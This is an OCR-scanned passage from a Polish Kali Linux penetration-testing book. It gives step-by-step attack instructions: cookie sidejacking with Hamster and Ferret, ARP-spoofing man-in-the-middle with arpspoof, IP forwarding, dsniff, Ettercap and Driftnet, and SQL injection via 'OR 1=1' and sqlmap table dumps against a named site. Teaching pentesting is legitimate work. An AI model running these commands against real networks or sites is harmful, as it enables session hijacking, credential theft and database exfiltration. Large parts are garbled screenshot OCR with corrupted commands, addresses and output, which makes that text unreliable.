2 2 1 7 6 7 .3 6 0 1 3 8 0 0 0
31
»
HTTP
1 0 5 8 GET / w p - c o n t e n t / g d - s t a r - r a t i n g / c s s / r a t
2 2 2 2 6 7 .3 6 5 9 0 1 0 0 0
31
»
HTTP
1 0 4 5 GET / w p - i n c l u d e s / j s / t h i c k b o x / t h i c k b o x .
1 0 5 7 GET / w p - i n c l u d e s / j s / t h i c k b o x / t h i c k b o x .• -
> \ > F r o n c 2 1 2 7 : 7 6 6 b y l c u u n w i r u ( 6 1 2 8 b i l u ) , 7 6 6 b y l e « c u p l u r e d ( 6 1 2 8 b i l u ) uu i n 1 e r lu c e 0 > E 11iwr t i u l I I . Sr c : V iiw .ii w 4 9 : 8 4 : 7 3 ( r - “ , D * l ; V irw a r« e a : 8 5 : 4 8 ( o r — — I F *8) ! ." -M' l l - n I - -T" rx .j.. ^ -u". r A ^ b I n t e r n e t P r o t o c o l Ve r s i o n 4 , S r c : "■ * ^ TO) t> T r a n s m i s s i o n C o n t r o l P r o t o c o l , S r c P o r t : 5 7 7 3 7 ( 5 7 7 3 7 ) . D s t P o r t : h t t p ( 8 0 ) , S e q : 1 . A c k : 1 . L e n :
712
Po przechwyceniu niezabezpieczonego ciasteczka możesz je wstrzyknąć do swojej przeglądarki (w tym celu musisz użyć innego narzędzia) i w ten sposób przechwycić sesję internetową ofiary. Aby to zrobić, kliknij prawym przyciskiem myszy wiersz zawierający ciasteczko sesji ofiary i na stępnie z menu podręcznego wybierz polecenie C opy/B ytes/P rintable Text Only. Teraz możesz wkleić skopiowane ciasteczko bezpośrednio do wtyczki Cookie Injector w przeglądarce Firefox. W ięcej szczegółowych informacji na temat tej wtyczki znajdziesz w podrozdziale „Cookie Injector — wtyczka przeglądarki Firefox”, w nieco wcześniejszej części tego rozdziału.
Aby mieć możliwość wstrzykiwania ciasteczek do przeglądarki Firefox, musisz wcześniej zainstalować wtyczki Greasemonkey oraz Cookie Injector.
Istnieje dużo ciekawych narzędzi, które potrafią analizować i przetwarzać dane przechwytywane i zapisywane przez program Wireshark. Przykładem takiego narzędzia jest NetWitness Investigator. Program ten możesz bezpłatnie pobrać ze strony http://w w w .em c.com /security/rsa-netw itness. h tm # !freew a r e.
Pakiety Hamster i Ferret H am ster to narzędzie pozwalające na wykradanie ciasteczek z sesji H TTP przy zastosowaniu mechanizmu pasywnego nasłuchiwania. Takie rozwiązanie jest znane również pod nazwą Sid ejackin g. Program analizuje ruch przechodzący przez dany interfejs sieciowy, automatycznie
208
R o z d z ia ł 5. • A ta k i na m e to d y u w ie rzy te ln ia n ia
|
przechwytuje wszystkie znalezione ciasteczka sesji, a następnie importuje je do przeglądarki, dzięki czemu napastnik może odtworzyć sesję ofiary. Do przechwytywania ciasteczek Hamster używa narzędzia o nazwie F erre t. Aby uruchomić program Hamster w systemie Kali Linux, w menu głównym przejdź do grupy K ali Linux, a następnie wybierz polecenie Sniffing/Spoofing/W ebSniffers/ham ster. Na ekranie pojawi się okno terminalu, w którym działa usługa programu Hamster. Domyślny adres używanego serwera proxy to 127.0.0.1:1234. Terminal File
Edit
View
Search
Terminal
H elp
— HAMPSTER 2.0 side-jacking tool - - Set browser to use proxy http://127.6.0.1:1234 DEBUG: set_ports_option(1234) DEBUG: mg_open_listening_port(1234! Proxy: liste n in g on 127.0.0.1:1234 beginirtg thread
Aby skorzystać z programu Hamster, uruchom przeglądarkę i w pasku adresu wpisz h ttp :// 127.0.0.1:1234.
Aby Hamster mógł realizować swoje zadanie, cały ruch sieciowy musi zostać przekierowany na jego serwer proxy. Aby wybrać interfejs sieciowy, kliknij łącze adapters. W naszym przypadku będziemy nasłuchiwać przez interfejs eth0. To start monitoring, type in the adapter name and hit the [Submit] button. This adapter must support ■promiscuous' mode momtonng. You may have to first configure the adapter on the command line, especially for wifi adapters tt^ C 1
Sutomrt Ost**y
209
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Po wybraniu interfejsu sieciowego zostaniesz przeniesiony na stronę usługi Sidejacking. Zauważ jednak, że na razie nie są wyświetlane na niej żadne pakiety sieciowe. D zieje się tak, ponie waż Hamster do poprawnej pracy potrzebuje programu, który je st w stanie przechwytywać ruch sieciowy. Możesz do tego celu użyć narzędzia o nazwie Ferret. Aby je uruchomić, w m e nu głównym systemu przejdź do grupy K ali Linux i wybierz polecenie Sniffing/Spoofing/W eb Sniffers/ferret. Na ekranie pojawi się okno terminalu, zawierające ekran pomocy programu Ferret. Aby rozpocząć nasłuchiwanie i przechwytywanie pakietów, wpisz polecenie f e r r e t - i n azw a_ in terfejsu . Ferret potwierdzi rozpoczęcie działania. Inform acje o przechwyconym ru chu sieciowym mają postać tekstową i są wyświetlane w oknie terminalu. Iroot^kjili
fa r r o t >1 oth0 FERRET 3.6.1 - 2607-2012
_ I
U b p cap .so : llb p c a p .so : cam ct open shared object f i l e : No such f i l e o r d ire c to r
v
S e a r c h in g e ls e w h e re f o r l ib p c a p Found lib p c a p - - lib p c a p v e r s io n 1 . 3 . 6 1 e th O (No d e s c r i p t i o n a v a i l a b l e )
2
nflog
(Linux netfllter log (NFLOG) interface)
3
a ny
(P s e u d o -d e v ic e t h a t c a p t u r e s
A lo
on a l l in t e r f a c e s )
(No description available]
5 P flF flN G : e th fl
LIM KTVRE: I E th e rn e t
Po uruchomieniu programu Ferret powróć do okna przeglądarki z programem Hamster, gdzie tym razem powinieneś już zobaczyć informacje o przechwyconych pakietach sieciowych. Hamster wyświetla dane o pakietach ze wszystkich hostów pracujących w określonej sieci. Aby zobaczyć ciasteczka przechwycone z sesji danego hosta, po prostu kliknij jego nazwę lewym przyciskiem myszy.
Aby przejść do przechwyconej sesji, kliknij wybrane ciasteczko. W naszym przykładzie wybrali śmy ciasteczko sesji z witryny w w w .thesecu rityblogger.com .
210
R o z d z ia ł 5. • A ta k i na m e to d y u w ie rzy te ln ia n ia
Atak typu man-in-the-middle Atak typu m an-in -the-m iddle to forma aktywnego nasłuchiwania i przechwytywania pakietów — napastnik ustanawia osobne połączenia z ofiarami i działa jak swego rodzaju stacja przekaźni kowa, powodując, że ofiary są przekonane, że „rozmawiają” ze sobą bezpośrednio. Istnieją różne odmiany takiego ataku, jak choćby wykorzystanie bezprzewodowego routera Hak5 Pineapple, który udaje zaufany punkt dostępowy sieci bezprzewodowej, podczas gdy w rzeczywistości działa jako pośrednik między prawdziwą siecią bezprzewodową a ofiarami, dając napastnikowi możliwość monitorowania całego ruchu sieciowego. Innym przykładem może być wykorzy stanie systemu Kali Linux do przekazywania ruchu sieciowego pomiędzy ofiarą a domyślnym routerem przy jednoczesnym nasłuchiwaniu i analizie ruchu sieciowego w celu przechwyty wania użytecznych dla napastnika informacji, takich jak nazwa konta użytkownika czy hasło.
Wiele serwisów oferujących usługi w chmurze, na przykład Facebook czy Gmail, wykorzystuje mechani zmy bezpiecznego logowania z użyciem protokołu HTTPS, co skutecznie utrudnia przeprowadzenie ata ków typu man-in-the-middle. Aby ominąć takie zabezpieczenia, możesz użyć narzędzi takich jak SSLstrip, które są w stanie przechwycić takie połączenia i wydobyć z nich interesujące Cię dane. Połączenie ata ków SSLstrip i man-in-the-middle jest bardzo efektywną metodą przechwytywania danych logowania użytkowników, oczywiście przy założeniu, że masz dostęp do systemu znajdującego się w tej samej sieci co systemy potencjalnych ofiar.
21 1
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Narzędzia dsniff i arpspoof Pakiet d sn iff to zestaw narzędzi przeznaczonych do analizy ruchu sieciowego, przechwyty wania haseł i wydobywania informacji z różnych protokołów sieciowych . Pakiet arpspoof może być wykorzystywany przez napastnika do wysyłania fałszywych pakietów ARP (ang. A ddress R esolution P rotocol) w lokalnej sieci komputerowej. Celem takiej operacji może być próba powiązania adresu MAC komputera napastnika z adresem IP ofiary, dzięki czemu ruch sieciowy kierowany do takiego adresu IP może być przekazywany do komputera napastnika. Jednym z manualnych sposobów przeprowadzania ataków typu m an-in -the-m iddle jest użycie pakietów arpspoof i d sn iff do „zainstalowania” komputera napastnika pomiędzy systemami ofiar. Pierwszym krokiem jest identyfikacja adresów IP ofiary oraz używanej przez ofiarę domyśl nej bramy sieciowej. Możesz tego dokonać za pomocą technik opisywanych w rozdziale 2., „Rekonesans”. Kiedy poznasz adres IP ofiary, musisz „przekonać” je j komputer, że Twoja ma szyna to tak naprawdę zupełnie inny system albo — jeszcze lepiej — je j domyślna brama sie ciowa. Jeżeli na przykład adres IP ofiary to 172.16.76.128, adres IP domyślnej bramy to 172.16.76.2, a adres IP Twojej maszyny to 172.16.76.131, to za pomocą pakietu arpspoof mo żesz spowodować, że Twój adres IP będzie przypisany do adresów MAC zarówno ofiary, jak i domyślnej bramy sieciowej. Aby to zrobić, otwórz dwa okna terminalu i w każdym z nich wpisz jedno z poleceń przedstawio nych poniżej, co spowoduje „oszukanie” Twoich ofiar (zobacz rysunek na następnej stronie): TE R M IN A L 1: a r p s p o o f - t 1 7 2 .1 6 .7 6 .1 2 8 1 7 2 .1 6 .7 6 .2 // wprowadza ofiarę w przekonanie, że Twój
komputer to brama domyślna TE R M IN A L 2: a r p s p o o f - t 1 7 2 .1 6 .7 6 .2 1 7 2 .1 6 .7 6 .1 2 8 // wprowadza bramę w przekonanie, że Twój
komputer to komputer ofiary Jeżeli poprawnie wpiszesz polecenia przedstawione powyżej, to zobaczysz, że ruch sieciowy między ofiarą i bramą domyślną jest teraz przekazywany do Twojego komputera. Zwróć je d nak uwagę, że gdy pakiety dotrą do Twojego komputera, nie są już nigdzie dalej przekazywane, zatem pakiety wysyłane przez ofiarę nie docierają do sieci i na odwrót. Aby przeprowadzić atak do końca, powinieneś włączyć przekazywanie pakietów IP tak aby cały ruch wysyłany
1 Dsniff poprawnie interpretuje m.in. takie protokoły sieciowe, jak: FTP, Telnet, SMTP, HTTP, POP, NNTP, IMAP, SNMP, LDAP, RLogin, RIP, OSPF, PPTP MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Citrix ICA, Symantec pcAnywhere, NAI Sniffer, Microsoft SMB, Oracle SQL Net czy Sybase — przyp. tłum.
212
R o z d z ia ł 5. • A ta k i na m e to d y u w ie rzy te ln ia n ia
|
ro o t@ k a li: F ile
E d it
V ie w
S e a rc h
T e rm in a l
H e lp
[email protected]:~# arpspoof -t 172.16.76.128 172.16.76.2 0 : c :2 9 :4 9 :8 4 :73 0 : c :2 9 :5 0 : 4 f :25 0806 42: arp reply 4:73 0 : c :2 9 : 4 9 :8 4 :73 0 : c :2 9 : 5 0 : 4 f :25 0806 42: arp reply 4:73 0 : c :2 9 :4 9 :8 4 :73 0 : c :2 9 : 5 0 : 4 f :25 0806 42: arp reply 4:73 0 : c :2 9 :4 9 :8 4 :73 0 : c :2 9 :5 0 : 4 f :25 0806 42: arp reply 4:73 0 : c :2 9 :4 9 :8 4 :73 0 : c :2 9 :5 0 : 4 f :25 0806 42: arp reply 4:73 0 : c :2 9 : 4 9 :8 4 :73 0 : c :2 9 : 5 0 : 4 f :25 0806 42: arp reply
FiLe
E d it
V ie w
S e a rc h
T e rm in a l
172.16.76.2 i s - a t 0 :c :2 9 :4 9 :B 172.16.76.2 i s - a t 0 :c :2 9 :4 9 :8 172.16.76.2 i s - a t 0 :c :2 9 :4 9 :B 172.16.76.2 i s - a t 0 :c :2 9 :4 9 :B 172.16.76.2 i s - a t 0 :c :2 9 :4 9 :B 172.16.76.2 i s - a t 0 :c :2 9 :4 9 :B
przez bramę do ofiary i przez ofiarę do bramy docierał do m iejsca przeznaczenia (oczywiście z małym przystankiem na Twoim komputerze). Dzięki takiemu rozwiązaniu ofiara będzie mogła bez przeszkód korzystać z zasobów sieciowych, a Ty będziesz mógł swobodnie monitorować cały ruch sieciowy generowany przez ofiarę. Aby to zrobić, otwórz trzecie okno terminalu i wpisz następujące polecenie: echo 1> / p r o c / s y s / n e t / ip v 4 / ip _ f o r w a r d
[email protected]:~# echo 1 > /proc/sys/net/lpv4/lp'_fo rward Od tej chwili cały ruch między ofiarą i bramą sieciową będzie przekazywany przez Twój komputer. Na rysunku zamieszczonym poniżej widać moment przekierowania ruchu do kom putera napastnika (przerwa w odpowiedzi na ping, kiedy przekazywanie pakietów nie jest jeszcze włączone) i moment, kiedy napastnik włącza przekazywanie pakietów IP (zobacz pierwszy rysunek na następnej stronie). Teraz możesz uruchomić program d sn iff i rozpocząć nasłuchiwanie i przechwytywanie pakietów. Aby to zrobić w systemie Kali Linux, w menu głównym przejdź do grupy K ali Linux, a na stępnie wybierz polecenie Sniffing/Spoofing/N etw ork Sniffers/dsniff. Na ekranie pojawi się okno terminalu z ekranem pomocy polecenia d sn iff, jak przedstawiono na drugim rysunku na następnej stronie:
213
fl
K a li L in u x . T e s ty p e n e tra c y jn e
infljl
Fr(.n l 7 2 . l f i . 7 f i . 2 1
bytpa-aH
K eply Rnplji E cp lg po-plj)
F m 1 7 2 . 1 6 . 7 t . 2= Fro n 1 7 3 .1 « .7 b .2: í n p 1 7 3 .l t . T i . 2: ( h r 1 7 2 .1 6 .7 6 .1 :
Jiy tti-32 liy trs-3 3 Ł g tts-32 byt r 5-22
F ra il t í j . l í . % . i :
h ytas-3 3
Tfl.-IHH
t i n t a n T 1L -1 28 t l M U H TTL-13S t i n t a n T IL -138 t i n t a n TTL-126
tl* t< lP W
T T ^ llí
tin c -1 6 m
¥11,-127 TTW 17 T 1L-127 T U . 137 TTL-1 2 7 T T L-1 3 7
Rmguc-Et tire ed c u t .
Jimuppici ¡M u a it Ht iJLUJSt R títiiatt Rcques-t Uni'HiLSt R-i-fuo-st Jlai|ii43l R equ est Ri'i£«ust RüqUfttt R tp ly
H,:L,]y
B e p ly Ru p l j l R e p ly H a p ly
tln c d y inflil tire t A tirard t iM fl tin e d I. ic^ll tire t A tiiw d tlM Il
Pul . o u t. put . p u t. p u t. PuC . p u t. Put r p u t. p u t. p u t.
f r pn 1 7 2 .1 6 .7 6 .2 : Jb jte s-3 2 Frań I 7 i. l f i . 7 i. il byttł-32 F m 1 7 2 .1 6 .7 6 .2 : b iftts -1 2 f r o n 1 v a , 1 r. .Vf. . i f : JüylrPS TA F ro n 1 7 2 .1 6 .7 6 .2 ; h y tn n -3 2 F n t 1 7 2 .1 6 .7 6 .2 : b ytp t-d 2
ti*t
tin e íln s l.in .,< 1 n :: tin c íln s t in n i I m
Version: 2 .4
Usage; d sn iff (-cdnnj [-1 interface | -p pcopfite] [-* sneplen] |-f services) ( t t r ig g e r !, ]) |-r|-w savefile) raetgfcdt¡ :-# |
I expression]
Aby uruchomić program dsniff, w oknie terminalu wpisz polecenie d s n i f f , następnie opcję - i i nazwę interfejsu sieciowego. W naszym przykładzie użyjemy polecenia d sn iff do przechwyty wania ruchu z interfejsu eth0, jak widać na rysunku poniżej:
root@ kali:~# d s n iff - i eth0 d s n iff: lis te n in g on ethQ Program d sn iff może przechwytywać wszystkie sesje logowania. Jeżeli atakowany użytkownik zaloguje się do innego systemu za pomocą klienta F T P po zakończeniu takiej sesji zobaczysz je j szczegóły na ekranie swojego komputera (dzieje się tak, ponieważ d sn iff musi przed wy świetleniem przechwycić całą sesję): 5/25/13 02:15:19 tcp 172-16.76-L28.44837 USER adrain PASS paaswordl23
Ettercap
192-16S.76.2 (ftp)
r/7 f n n
n
n
n ü iÄ
Ettercap to bezpłatny, otwarty pakiet oprogramowania przeznaczony do przeprowadzania ataków typu m an -in -the-m iddle.
214
R o z d z ia ł 5. • A ta k i na m e to d y u w ie rzy te ln ia n ia
Pakiet E ttercap może być również używany do analizowania pakietów sieciowych oraz prze prowadzania audytów bezpieczeństwa sieci, ponieważ jest wyposażony w mechanizmy pozwalają ce na nasłuchiwanie i przechwytywanie połączeń sieciowych, filtrowanie pakietów sieciowych oraz pasywną i aktywną analizę wielu różnych protokołów sieciowych. Po uruchomieniu pa kiet Ettercap przełącza wybrany interfejs sieciowy na tryb nasłuchiwania (ang. prom iscuous m ode) i rozsyła odpowiednio spreparowane pakiety ARP w celu oszukania ofiary. Aby uruchomić pakiet Ettercap w systemie Kali Linux, w menu głównym przejdź do grupy Kali Linux, a następnie wybierz polecenie Sniffing/Spoofing/N etw ork S niffers/ettercap-graphical.
Pierwszym krokiem w pracy z tym programem będzie oczywiście wybranie interfejsu sieciowego, którego użyjemy do nasłuchiwania i przechwytywania ruchu sieciowego. Aby to zrobić, z m e nu programu wybierz polecenie Sniff, następnie rodzaj nasłuchiwania (U nified sniffing lub B rid g ed .sniffing) i interfejs sieciowy, którego chcesz użyć.
Gdy wybierzesz interfejs, w menu głównym programu pojawi się znacznie więcej poleceń, jak pokazano na rysunku poniżej:
215
fl
K a li L in u x . T e s ty p e n e tra c y jn e
e tte rca p N G - 0 .7 .4 .2
Start Targets Hosts View Mitm Filters Logging Plugins Help
Zo plugins
C
41 protocol dissectors 56 ports monitored 7587 mac vendor fingerprint 1766 tcp OS fingerprint 2183 known services
Przeskanujemy teraz sieć, aby przekonać się, jakie hosty są do niej podłączone. Aby to zrobić, z menu H osts wybierz polecenie Scan f o r hosts. Program Ettercap przeprowadzi szybki skan całej podsieci klasy C i wyświetli listę znalezionych hostów. Pierwszym znalezionym hostem zazwyczaj jest router. W naszym przykładzie, przedstawionym poniżej, znalezione zostały cztery aktywne hosty. H o s t L is t M IP A d d r e s s
M A C A d d re s s
172 16 76 1
00.50
172.16.762
00:50
D e s c r ip t io n
172 16 76 126 OOOC: 172.16.76 254 00 50
CXIot* Host
Add to Targot 1
Add to Target 2
Możemy założyć, że host z adresem .1 to router i że naszym celem jest maszyna z adresem .128. Teraz jako nasz cel numer 1 (TARGET1) wybierzemy router, a jako cel numer 2 (TARGET2) wybierzemy komputer ofiary z adresem .128. Takie przypisanie spowoduje umieszczenie na szego komputera pomiędzy routerem a komputerem ofiary w klasycznym scenariuszu ataku typu m an -in -the-m iddle. Aby przypisać cele, zaznacz wybrany host i kliknij odpowiedni przy cisk (na przykład A dd to Target 1). Aby sprawdzić aktualną listę celów, z menu głównego wy bierz polecenie Targets/Current Targets. Delete Host
A d d to Target 1
3 hosts added to the hosts list...
A d d to Target 2 ■e
Randomizing 2 5 5 hosts for scanning... Scanning the w h o l e netmaskfor 2 5 5 hosts... 4 hosts added to the hosts list... Host 172.16.76.1 added to T A R G E T 1 Host 172.16.76.128 added to T A R G E T 2
216
1
R o z d z ia ł 5. • A ta k i na m e to d y u w ie rzy te ln ia n ia
|
Teraz przyjrzymy się poleceniom, jakie są dostępne w menu Mitm. Znajdziesz tutaj takie polece nia, jak Arp poisoning.. . , ICMP r ed irec t..., Port stealing... oraz Dhcp spoofing Aby wypróbo wać ich działanie, wybierzemy opcję Arp p o i s o n in g ., a następnie zaznaczymy opcję Sniff rem ote con n ection s. Mitm Filters Logging Arp poisoning. Icmp redirect... Port stealing.. Dhcp spoofing Stop mitm attack(s) M I T H A t t a c k : A R P P o h o n in g (a » n o b o d y )
Optional parameters
& Sniff remote connections. □ O nly poison one-way. OK
Cancel
Od tej chwili jesteśm y gotowi do przechwytywania ruchu sieciowego, przesyłanego pomiędzy routerem a komputerem ofiary. Interesujące nas informacje, takie jak nazwy kont użytkowni ków i hasła dostępu, mogą zostać bez większych trudności przechwycone i wyświetlone w oknie programu.
Driftnet Pakiet D riftnet to narzędzie przeznaczone do przeprowadzania ataków typu man-in-the-m iddle, pozwalające na wyodrębnianie z ruchu sieciowego i przechwytywanie obrazów przesyłanych w sieci. D o poprawnej pracy pakietu Driftnet wymagane je st wcześniejsze przeprowadzenie ataku typu m an-in -the-m iddle i przekazywanie ruchu sieciowego przez komputer napastnika. Do przygotowania ataku możesz wykorzystać narzędzia takie jak arpspoof, d sn iff czy Ettercap, omawiane w poprzednich podrozdziałach. Po zestawieniu ataku m an-in -the-m iddle możesz równolegle uruchomić program Driftnet i za jego pomocą przeglądać wszystkie obrazy prze syłane w sieci. Aby uruchomić program Driftnet w systemie Kali Linux, w menu głównym przejdź do grupy Kali Linux, a następnie wybierz polecenie Sniffing/Spoofing/Web Sniffers/Driftnet. Gdy wybierzesz to polecenie, na ekranie pojawi się okno terminalu z ekranem pomocy polecenia d riftn e t. Wywołując polecenie, musisz podać nazwę interfejsu sieciowego, którego chcesz użyć, oraz określić, co program powinien zrobić z obrazami przechwyconymi z ruchu sieciowego. Na przykład za pomocą opcji -b możesz „poprosić” program, aby generował sygnał dźwiękowy za każdym razem, kiedy przechwycony zostanie kolejny obraz. Za pomocą innych opcji możesz
217
K a li L in u x . T e s ty p e n e tra c y jn e
spowodować, że przechwycone obrazy będą wyświetlane na ekranie czy zapisywane w plikach na dysku. Przykładowe polecenie, przedstawione poniżej, powoduje przechwytywanie obrazów w interfejsie eth0 i zapisywanie ich w folderze /root/D esktop /C ap tu red lm ag es. d r i f t n e t - i e th 0 - a -m 1000 -d / r o o t / D e s k t o p / C a p tu re d Im a g e s - x im age_
Przedstawione powyżej polecenie jest oparte na założeniu, że wcześniej został odpowiednio przygoto wany atak typu manńhem/ddl? wykorzystujący interfejs sieciowy eth0.
Gdy uruchomisz program Driftnet, wyświetli się kolejne okno terminalu. Jeżeli skonfigurowałeś program do wyświetlania przechwyconych obrazów, będą się one pojawiały w tym właśnie oknie. Jeżeli użyłeś opcji - a , która wyłącza wyświetlanie obrazów, to nie będą się one pojawiały w oknie, ale będą zapisywane w katalogu na dysku zdefiniowanym podczas wywołania progra mu. Na rysunku zamieszczonym poniżej przedstawiamy okno programu D riftnet wyświetla jące obrazy, które zostały przechwycone, kiedy ofiara odwiedziła witrynę w w w .d rch aos.com .
Wstrzykiwanie kodu SQL Bazy danych przechowują duże ilości informacji zorganizowanych według określonych logicznych kryteriów. Przykładami popularnych systemów zarządzania bazami danych są Oracle czy Micro soft SQ L Server. Takie bazy danych pozwalają użytkownikowi na przechowywanie dużych ilości danych, przetwarzanie ich za pomocą odpowiednich zapytań i organizowanie według różnych kryteriów. Język SQ L (ang. Structured Q uery Language) to uniwersalny język zapytań, który jest rozpo znawany i wykorzystywany przez zdecydowaną większość systemów zarządzania bazami danych.
218
R o z d z ia ł 5. • A ta k i na m e to d y u w ie rzy te ln ia n ia
|
Język SQ L pozwala aplikacjom na dostęp do danych, które są przechowywane w bazach, za pomocą standardowego zestawu poleceń. Potencjalny napastnik może próbować przeprowadzać ataki na bazy danych w celu nieautory zowanego pozyskania z nich informacji. Czasami taka operacja jest zaskakująco prosta i spro wadza się do wykonania kilku odpowiednio przygotowanych zapytań. W innych przypadkach pomyślne przeprowadzenie ataku może wymagać wykorzystania niepoprawnej konfiguracji zabezpieczeń bazy czy innego niedopatrzenia je j administratorów. Napastnik może również próbować wykorzystać podatności i luki w zabezpieczeniach systemów zarządzania bazami danych. Te podatności i luki mogą pozwolić mu na nieautoryzowane uzyskanie dostępu do atakowanej bazy i przeglądanie lub nawet modyfikowanie przechowywanych w niej danych. Napastnicy zazwyczaj próbują przesyłać złośliwy kod do bazy danych za pośrednictwem formula rzy lub innych elementów stron internetowych, które to elementy posiadają zdolność przesy łania danych pobieranych od użytkownika. Napastnik może na przykład próbować wprowa dzać w formularzach długie ciągi losowych znaków lub wyrażeń, co może pozwolić mu na zidentyfikowanie słabych stron metod przetwarzania danych wprowadzanych przez użytkow nika. Jeżeli dane pole pozwala na wprowadzanie tylko 15 znaków, wpisanie w takim polu dłu giego ciągu znaków może spowodować wygenerowanie komunikatu o błędzie. Komunikat ten może zawierać zaskakująco dużo cennych dla napastnika informacji na temat konfiguracji bazy. Dzięki wtyczce H ackB ar przeglądarki Firefox użytkownik może testować zapytania SQ L oraz wstrzykiwać własny kod do żądań SQ L przesyłanych do bazy. Wtyczka H ackBar umożliwia również pentesterom testowanie żądań H TTP POST przysyłanych do aplikacji internetowej.
219
K a li L in u x . T e s ty p e n e tra c y jn e
W naszym kolejnym przykładzie spróbujemy przeprowadzić wstrzykiwanie kodu SQL na stronę w w w .drchaos.com . Aby to zrobić, musimy w naszym systemie Kali Linux uruchomić przeglą darkę Firefox i otworzyć w niej stronę w w w .drchaos.com , a następnie zalogować się na niej. Naj pierw spróbujemy zalogować się na konto użytkownika administrator i jako hasło dostępu podamy ciąg znaków 12345. Nietrudno przewidzieć, że taka próba zakończy się niepowodzeniem. Teraz z menu głównego programu Firefox wybierz polecenie V iew /H ackBar. Kliknij przycisk L o a d URL, a następnie E n able Post D ata. W oknie, które pojawi się na ekranie, powinieneś zobaczyć adres URL strony, na której się logowaliśmy, oraz nazwę konta użytkownika i podane przez nas hasło. | IN T
v
m Load URL i
—
o
SQL v
XSS ▼
E n c ry p tio n *
E n c o d in g ▼
O th e r *
h t t p : / /mwt. d r c h « o » /a q l i / « d a l n / i n d a x . ptip Tr o u t • • c c m o n / 10 9 i n
S p lit URL
h
E x e c u te O E n a b le P o s t d a ta
C 1 E n a b le R e fe rre r
P o s t d a ta
Teraz w nazwie konta użytkownika dodamy na końcu znak apostrofu. Po kliknięciu przycisku Execute otrzymujemy komunikat o błędzie z podanym kodem SQL. Może to oznaczać, że serwer bazy danych jest podatny na ataki za pomocą wstrzykiwania kodu SQL.
Przygotujemy odpowiedni fragment kodu SQ L, który zostanie wstrzyknięty na stronę. Aby to zrobić, na końcu naszego polecenia dodamy wyrażenie OR 1=1 # # .
220
R o z d z ia ł 5. • A ta k i na m e to d y u w ie rzy te ln ia n ia
|
Po wstrzyknięciu takiego polecenia okazuje się, że zalogowaliśmy się na koncie administrato ra strony w w w .drchaos.com .
Oczywiście przedstawiona luka w zabezpieczeniach strony w w w .d rch aos.com została przez nas już dawno zamknięta, a co za tym idzie, strona jest już odporna na taki atak. Naszym celem jednak było przedstawienie możliwości, jakie daje wstrzykiwanie kodu SQ L, oraz pokazanie, że taka metoda ataku może być bardzo wartościowa dla każdego pentestera i dawać możli wość prostego i szybkiego uzyskania nieautoryzowanego dostępu do atakowanego systemu. Sukces wstrzykiwania kodu SQ L zależy w dużej mierze od znajomości różnych niuansów składni języka SQ L. Jeżeli chcesz poszerzyć swoją wiedzę w tym zakresie, gorąco polecamy stronę W 3 S chool o f SQL, dostępną pod adresem http://w w w .w 3schools.com /sql/sql_in tro.asp.
sqlmap Pakiet sqlmap automatyzuje proces wykrywania i wykorzystywania luk w zabezpieczeniach, które to luki pozwalają na wstrzykiwanie kodu SQ L i przejmowanie w ten sposób kontroli nad serwerami baz danych. Program posiada wbudowany moduł wykrywania luk w zabezpieczeniach
22 1
fl
K a li L in u x . T e s ty p e n e tra c y jn e
oraz narzędzia penetracyjne, od modułów umożliwiających rozpoznawanie typów baz danych aż do modułów pozwalających na uzyskiwanie dostępu do systemu plików serwerów baz danych i wykonywanie poleceń w ich systemach operacyjnych. Pakiet sqlmap obsługuje większość najczęściej spotykanych systemów zarządzania bazami danych, posiada wsparcie dla technik wstrzykiwania kodu SQ L, wykrywania kont użytkowników, po zyskiwania skrótów haseł i wiele innych modułów. Sqlmap oferuje również mechanizmy umożliwiające dokonywanie prób podnoszenia uprawnień użytkownika przy użyciu polecenia g e ts y s te m z programu M eterpreter pakietu Metasploit. Sqlmap jest narzędziem wbudowanym w system Kali Linux, pozwalającym na uzyskiwanie nieau toryzowanego dostępu do baz danych. Aby z niego skorzystać, musisz podać adres U RL skryptu SQ L znajdującego się na serwerze WWW. Taki adres można stosunkowo łatwo zloka lizować, ponieważ zwykle jest w nim ciąg znaków p h p . Aby uruchomić program sqlmap w systemie Kali Linux, w menu głównym przejdź do grupy Kali Linux, a następnie wybierz polecenie Vulnerability A nalysis/D atabase A ssessm ent/sqlm ap. Na ekranie pojawi się okno terminalu z ekranem pomocy polecenia sqlmap. Podstawowa składnia wywołania polecenia sqlmap wygląda następująco: sqlmap -u URL - - nazw a_funkcji Jedną z najczęściej używanych funkcji jest dbs. Użycie słowa kluczowego dbs spowoduje, że polecenie sqlmap wyświetli listę dostępnych baz danych. sqlm ap -u h t t p :/ / w w w .d r c h a o u s .c o m / a r t ic le .p h p ? id = 5 - -d b s
[ •] raysql [ • ] p e rfo rm a [ • } phpcms [• ] phpmyadrr [• ] w ebauth Jak widać na rysunku, polecenie znalazło kilka baz danych. W naszym przykładzie skoncen trujemy się na bazie o nazwie test. Po znalezieniu podatnego serwera W W W możesz wybrać bazę danych, która będzie celem ataku. Aby to zrobić, powinieneś w wywołaniu polecenia użyć opcji -D, po której musisz po dać nazwę bazy danych. sqlm ap -u h t t p :/ / w w w .d r c h a o s .c o m / a r t ic le .p h p ? id = 5 - D t e s t - - t a b l e s
W naszym przykładzie słowo kluczowe tabl es pozwala na pobranie listy wszystkich tabel z bazy danych test. Po wykonaniu takiego polecenia przekonaliśmy się, że w bazie test istnieją tylko dwie tabele, o nazwach adm in i content.
222
R o z d z ia ł 5. • A ta k i na m e to d y u w ie rzy te ln ia n ia
|
Listę wszystkich tabel uzyskamy po wykonaniu następującego polecenia: sqlmap -u http://w w w .drchaous.com /article.php?id=5 - D t e s t --t a b le s Poszczególne kolumny możemy wybierać za pomocą polecenia przedstawionego poniżej: sqlmap -u http://w w w .drchaous.com /article.php?id=5 - T nazwa_tabeli --colum ns Jeżeli w tabelach znajdują się jakieś interesujące nas informacje, możemy je pobrać za pomocą następującego polecenia: sqlmap -u http://www.drchaous.com/article.php?id=5 -T nazwa_tabeli -U te st --dump Wykonanie tego polecenia spowoduje utworzenie pliku o nazwie test i zapisanie w nim wszyst kich informacji pobranych z danej tabeli bazy danych. Bardzo często za pomocą takiego m e chanizmu można pozyskać dane na temat kont użytkowników, haseł dostępu i wiele innych, cennych informacji.
